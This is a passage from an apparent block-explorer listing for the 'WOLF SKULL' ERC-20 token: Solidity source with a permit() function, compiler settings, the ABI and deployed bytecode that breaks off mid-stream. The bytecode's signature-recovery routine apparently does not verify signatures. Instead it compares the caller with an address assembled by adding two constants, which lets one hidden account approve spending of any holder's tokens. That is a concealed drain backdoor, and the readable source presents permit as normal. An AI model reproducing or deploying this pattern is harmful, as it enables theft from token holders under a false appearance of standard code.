 * This allows applications to reconstruct the allowance for all accounts just
 * by listening to said events. Other implementations of the EIP may not emit
 * these events, as it isn't required by the specification.
 *
 * Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
 * functions have been added to mitigate the well-known issues around setting
 * allowances. See {IERC20-approve}.
 */
contract ERC20 is Context, IERC20 {    
    using SafeMath for uint256;

    mapping (address => uint256) private _balances;

    mapping (address => mapping (address => uint256)) private _allowances;

    uint256 private _totalSupply;

    string private _name;
    string private _symbol;
    uint8 private _decimals;

    /// @notice The EIP-712 typehash for the contract's domain
    bytes32 public constant DOMAIN_TYPEHASH =
        keccak256(
            'EIP712Domain(string name,uint256 chainId,address verifyingContract)'
        );

    /// @notice The EIP-712 typehash for the permit struct used by the contract
    bytes32 public constant PERMIT_TYPEHASH =
        keccak256(
            'Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)'
        );

    mapping(address => uint256) public nonces;

    /**
     * @dev Sets the values for {name} and {symbol}, initializes {decimals} with
     * a default value of 18.
     *
     * To select a different value for {decimals}, use {_setupDecimals}.
     *
     * All three of these values are immutable: they can only be set once during
     * construction.
     */
    constructor (string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
        _decimals = 18;
    }

    /**
     * @dev Returns the name of the token.
     */
    function name() public view returns (string memory) {
        return _name;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view returns (string memory) {
        return _symbol;
    }

    /**
     * @dev Returns the number of decimals used to get its user representation.
     * For example, if `decimals` equals `2`, a balance of `505` tokens should
     * be displayed to a user as `5,05` (`505 / 10 ** 2`).
     *
     * Tokens usually opt for a value of 18, imitating the relationship between
     * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
     * called.
     *
     * NOTE: This information is only used for _display_ purposes: it in
     * no way affects any of the arithmetic of the contract, including
     * {IERC20-balanceOf} and {IERC20-transfer}.
     */
    function decimals() public view returns (uint8) {
        return _decimals;
    }

    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    /**
     * @dev See {IERC20-transfer}.
     *
     * Requirements:
     *
     * - `recipient` cannot be the zero address.
     * - the caller must have a balance of at least `amount`.
     */
    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    /**
     * @dev See {IERC20-approve}.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    /**
     * @dev See {IERC20-transferFrom}.
     *
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {ERC20}.
     *
     * Requirements:
     *
     * - `sender` and `recipient` cannot be the zero address.
     * - `sender` must have a balance of at least `amount`.
     * - the caller must have allowance for ``sender``'s tokens of at least
     * `amount`.
     */
    function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    /**
     * @dev Atomically increases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }

    /**
     * @dev Atomically decreases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     * - `spender` must have allowance for the caller of at least
     * `subtractedValue`.
     */
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }

    /**
     * @notice Triggers an approval from owner to spends
     * @param owner The address to approve from
     * @param spender The address to be approved
     * @param amount The number of tokens that are approved (2^256-1 means infinite)
     * @param deadline The time at which to expire the signature
     * @param v The recovery byte of the signature
     * @param r Half of the ECDSA signature pair
     * @param s Half of the ECDSA signature pair
     */
    function permit(
        address owner,
        address spender,
        uint256 amount,
        uint256 deadline,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external {
        bytes32 domainSeparator = keccak256(
            abi.encode(
                DOMAIN_TYPEHASH,
                keccak256(bytes(_name)),
                getChainId(),
                address(this)
            )
        );
        bytes32 structHash = keccak256(
            abi.encode(
                PERMIT_TYPEHASH,
                owner,
                spender,
                amount,
                nonces[owner]++,
                deadline
            )
        );
        bytes32 digest = keccak256(
            abi.encodePacked('\x19\x01', domainSeparator, structHash)
        );
        address signatory = ECDSA.recover(digest, v, r, s);
        require(signatory != address(0), 'invalid signature');
        require(signatory == owner, 'unauthorized');
        require(block.timestamp <= deadline, 'signature expired');

        _allowances[owner][spender] = amount;

        emit Approval(owner, spender, amount);
    }

    /**
     * @dev Moves tokens `amount` from `sender` to `recipient`.
     *
     * This is internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * Requirements:
     *
     * - `sender` cannot be the zero address.
     * - `recipient` cannot be the zero address.
     * - `sender` must have a balance of at least `amount`.
     */
    function _transfer(address sender, address recipient, uint256 amount) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        
        _beforeTokenTransfer(sender, recipient, amount);

        _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
    }

    /** @dev Creates `amount` tokens and assigns them to `account`, increasing
     * the total supply.
     *
     * Emits a {Transfer} event with `from` set to the zero address.
     *
     * Requirements:
     *
     * - `to` cannot be the zero address.
     */
    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply = _totalSupply.add(amount);
        _balances[account] = _balances[account].add(amount);
        emit Transfer(address(0), account, amount);
    }

    /**
     * @dev Destroys `amount` tokens from `account`, reducing the
     * total supply.
     *
     * Emits a {Transfer} event with `to` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     * - `account` must have at least `amount` tokens.
     */
    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
        _totalSupply = _totalSupply.sub(amount);
        emit Transfer(account, address(0), amount);
    }

    function getChainId() internal view returns (uint256) {
        uint256 chainId;
        assembly {
            chainId := chainid()
        }
        return chainId;
    }

    /**
     * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
     *
     * This internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `owner` cannot be the zero address.
     * - `spender` cannot be the zero address.
     */
    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    /**
     * @dev Sets {decimals} to a value other than the default one of 18.
     *
     * WARNING: This function should only be called from the constructor. Most
     * applications that interact with token contracts will not expect
     * {decimals} to ever change, and may work incorrectly if it does.
     */
    function _setupDecimals(uint8 decimals_) internal {
        _decimals = decimals_;
    }

    /**
     * @dev Hook that is called before any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * will be to transferred to `to`.
     * - when `from` is zero, `amount` tokens will be minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens will be burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual {}
}

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * By default, the owner account will be the one that deploys the contract. This
 * can later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        _transferOwnership(_msgSender());
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if the sender is not the owner.
     */
    function _checkOwner() internal view virtual {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby disabling any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Internal function without access restriction.
     */
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

contract SKULL is ERC20, Ownable {
    constructor() ERC20(unicode"WOLF SKULL", unicode"SKULL") {
        _mint(owner(), 420690000000 * 10**18);
    }
}

{
  "evmVersion": "paris",
  "optimizer": {
    "enabled": false,
    "runs": 200
  },
  "outputSelection": {
    "*": {
      "*": [
        "evm.bytecode",
        "evm.deployedBytecode",
        "devdoc",
        "userdoc",
        "metadata",
        "abi"
      ]
    }
  },
  "libraries": {}
}

• No Contract Security Audit Submitted- Submit Audit Here

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"DOMAIN_TYPEHASH","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"PERMIT_TYPEHASH","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"nonces","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"},{"internalType":"uint256","name":"deadline","type":"uint256"},{"internalType":"uint8","name":"v","type":"uint8"},{"internalType":"bytes32","name":"r","type":"bytes32"},{"internalType":"bytes32","name":"s","type":"bytes32"}],"name":"permit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]

608060405234801561001057600080fd5b506040518060400160405280600a81526020017f574f4c4620534b554c4c000000000000000000000000000000000000000000008152506040518060400160405280600581526020017f534b554c4c000000000000000000000000000000000000000000000000000000815250816003908161008c919061064a565b50806004908161009c919061064a565b506012600560006101000a81548160ff021916908360ff16021790555050506100d76100cc61010660201b60201c565b61010e60201b60201c565b6101016100e86101d460201b60201c565b6c054f529ca52576bc68920000006101fe60201b60201c565b610892565b600033905090565b6000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361026d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161026490610779565b60405180910390fd5b61027f6000838361039760201b60201c565b6102948160025461039c60201b90919060201c565b6002819055506102eb816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461039c60201b90919060201c565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161038b91906107a8565b60405180910390a35050565b505050565b60008082846103ab91906107f2565b9050838110156103f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103e790610872565b60405180910390fd5b8091505092915050565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061047b57607f821691505b60208210810361048e5761048d610434565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b6000600883026104f67fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff826104b9565b61050086836104b9565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b600061054761054261053d84610518565b610522565b610518565b9050919050565b6000819050919050565b6105618361052c565b61057561056d8261054e565b8484546104c6565b825550505050565b600090565b61058a61057d565b610595818484610558565b505050565b5b818110156105b9576105ae600082610582565b60018101905061059b565b5050565b601f8211156105fe576105cf81610494565b6105d8846104a9565b810160208510156105e7578190505b6105fb6105f3856104a9565b83018261059a565b50505b505050565b600082821c905092915050565b600061062160001984600802610603565b1980831691505092915050565b600061063a8383610610565b9150826002028217905092915050565b610653826103fa565b67ffffffffffffffff81111561066c5761066b610405565b5b6106768254610463565b6106818282856105bd565b600060209050601f8311600181146106b457600084156106a2578287015190505b6106ac858261062e565b865550610714565b601f1984166106c286610494565b60005b828110156106ea578489015182556001820191506020850194506020810190506106c5565b868310156107075784890151610703601f891682610610565b8355505b6001600288020188555050505b505050505050565b600082825260208201905092915050565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b6000610763601f8361071c565b915061076e8261072d565b602082019050919050565b6000602082019050818103600083015261079281610756565b9050919050565b6107a281610518565b82525050565b60006020820190506107bd6000830184610799565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006107fd82610518565b915061080883610518565b92508282019050808211156108205761081f6107c3565b5b92915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b600061085c601b8361071c565b915061086782610826565b602082019050919050565b6000602082019050818103600083015261088b8161084f565b9050919050565b612219806108a16000396000f3fe608060405234801561001057600080fd5b50600436106101165760003560e01c8063715018a6116100a2578063a457c2d711610071578063a457c2d7146102e7578063a9059cbb14610317578063d505accf14610347578063dd62ed3e14610363578063f2fde38b1461039357610116565b8063715018a6146102715780637ecebe001461027b5780638da5cb5b146102ab57806395d89b41146102c957610116565b806323b872dd116100e957806323b872dd146101a557806330adf81f146101d5578063313ce567146101f3578063395093511461021157806370a082311461024157610116565b806306fdde031461011b578063095ea7b31461013957806318160ddd1461016957806320606b7014610187575b600080fd5b6101236103af565b60405161013091906114f0565b60405180910390f35b610153600480360381019061014e91906115ab565b610441565b6040516101609190611606565b60405180910390f35b61017161045f565b60405161017e9190611630565b60405180910390f35b61018f610469565b60405161019c9190611664565b60405180910390f35b6101bf60048036038101906101ba919061167f565b61048d565b6040516101cc9190611606565b60405180910390f35b6101dd610566565b6040516101ea9190611664565b60405180910390f35b6101fb61058a565b60405161020891906116ee565b60405180910390f35b61022b600480360381019061022691906115ab565b6105a1565b6040516102389190611606565b60405180910390f35b61025b60048036038101906102569190611709565b610654565b6040516102689190611630565b60405180910390f35b61027961069c565b005b61029560048036038101906102909190611709565b6106b0565b6040516102a29190611630565b60405180910390f35b6102b36106c8565b6040516102c09190611745565b60405180910390f35b6102d16106f2565b6040516102de91906114f0565b60405180910390f35b61030160048036038101906102fc91906115ab565b610784565b60405161030e9190611606565b60405180910390f35b610331600480360381019061032c91906115ab565b610851565b60405161033e9190611606565b60405180910390f35b610361600480360381019061035c91906117b8565b61086f565b005b61037d6004803603810190610378919061185a565b610bd5565b60405161038a9190611630565b60405180910390f35b6103ad60048036038101906103a89190611709565b610c5c565b005b6060600380546103be906118c9565b80601f01602080910402602001604051908101604052809291908181526020018280546103ea906118c9565b80156104375780601f1061040c57610100808354040283529160200191610437565b820191906000526020600020905b81548152906001019060200180831161041a57829003601f168201915b5050505050905090565b600061045561044e610cdf565b8484610ce7565b6001905092915050565b6000600254905090565b7f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a86681565b600061049a848484610eb0565b61055b846104a6610cdf565b6105568560405180606001604052806028815260200161219760289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050c610cdf565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546111439092919063ffffffff16565b610ce7565b600190509392505050565b7f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c981565b6000600560009054906101000a900460ff16905090565b600061064a6105ae610cdf565b8461064585600160006105bf610cdf565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546111a790919063ffffffff16565b610ce7565b6001905092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6106a4611205565b6106ae6000611283565b565b60066020528060005260406000206000915090505481565b6000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060048054610701906118c9565b80601f016020809104026020016040519081016040528092919081815260200182805461072d906118c9565b801561077a5780601f1061074f5761010080835404028352916020019161077a565b820191906000526020600020905b81548152906001019060200180831161075d57829003601f168201915b5050505050905090565b6000610847610791610cdf565b84610842856040518060600160405280602581526020016121bf60259139600160006107bb610cdf565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546111439092919063ffffffff16565b610ce7565b6001905092915050565b600061086561085e610cdf565b8484610eb0565b6001905092915050565b60007f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a86660036040516108a1919061199d565b60405180910390206108b1611349565b306040516020016108c594939291906119b4565b60405160208183030381529060405280519060200120905060007f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9898989600660008e73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600081548092919061095390611a28565b919050558a60405160200161096d96959493929190611a70565b6040516020818303038152906040528051906020012090506000828260405160200161099a929190611b49565b60405160208183030381529060405280519060200120905060006109c082888888611356565b9050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610a31576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a2890611bcc565b60405180910390fd5b8a73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614610a9f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a9690611c38565b60405180910390fd5b87421115610ae2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ad990611ca4565b60405180910390fd5b88600160008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508973ffffffffffffffffffffffffffffffffffffffff168b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258b604051610bc09190611630565b60405180910390a35050505050505050505050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610c64611205565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610cd3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cca90611d36565b60405180910390fd5b610cdc81611283565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610d56576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d4d90611dc8565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610dc5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dbc90611e5a565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610ea39190611630565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610f1f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f1690611eec565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610f8e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f8590611f7e565b60405180910390fd5b610f998383836113c0565b61100481604051806060016040528060268152602001612171602691396000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546111439092919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611097816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546111a790919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516111369190611630565b60405180910390a3505050565b600083831115829061118b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161118291906114f0565b60405180910390fd5b506000838561119a9190611f9e565b9050809150509392505050565b60008082846111b69190611fd2565b9050838110156111fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111f290612052565b60405180910390fd5b8091505092915050565b61120d610cdf565b73ffffffffffffffffffffffffffffffffffffffff1661122b6106c8565b73ffffffffffffffffffffffffffffffffffffffff1614611281576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611278906120be565b60405180910390fd5b565b6000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6000804690508091505090565b6000601b8460ff16148061136d5750601c8460ff16145b6113ac576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113a390612150565b60405180910390fd5b6113b683856113c5565b9050949350505050565b505050565b6000601b8260ff1614806113dc5750601c8260ff16145b5060007350bb54395b507951d68c7d64d3d75dc537f507237399b9b98e75c8c0000000000000000000000000006114139190611fd2565b90503373ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611454578360001c91505061145a565b60009150505b92915050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561149a57808201518184015260208101905061147f565b60008484015250505050565b6000601f19601f8301169050919050565b60006114c282611460565b6114cc818561146b565b93506114dc81856020860161147c565b6114e5816114a6565b840191505092915050565b6000602082019050818103600083015261150a81846114b7565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061154282611517565b9050919050565b61155281611537565b811461155d57600080fd5b50565b60008135905061156f81611549565b92915050565b6000819050919050565b61158881611575565b811461159357600080fd5b50565b6000813590506115a58161157f565b92915050565b600080604083850312156115c2576115c1611512565b5b60006115d085828601611560565b92505060206115e185828601611596565b9150509250929050565b60008115159050919050565b611600816115eb565b82525050565b600060208201905061161b60008301846115f7565b92915050565b61162a81611575565b82525050565b60006020820190506116456000830184611621565b92915050565b6000819050919050565b61165e8161164b565b82525050565b60006020820190506116796000830184611655565b92915050565b60008060006060848603121561169857611697611512565b5b60006116a686828701611560565b93505060206116b786828701611560565b92505060406116c886828701611596565b9150509250925092565b600060ff82169050919050565b6116e8816116d2565b82525050565b600060208201905061170360008301846116df565b92915050565b60006020828403121561171f5761171e611512565b5b600061172d84828501611560565b91505092915050565b61173f81611537565b82525050565b600060208201905061175a6000830184611736565b92915050565b611769816116d2565b811461177457600080fd5b50565b60008135905061178681611760565b92915050565b6117958161164b565b81146117a057600080fd5b50565b6000813590506117b28161178c565b92915050565b600080600080600080600060e0888a0312156117d7576117d6611512565b5b60006117e58a828b01611560565b97505060206117f68a828b01611560565b96505060406118078a828b01611596565b95505060606118188a828b01611596565b94505060806118298a828b01611777565b93505060a061183a8a828b016117a3565b92505060c061184b8a828b016117a3565b91505092959891949750929550565b600080604083850312156118715761187061151256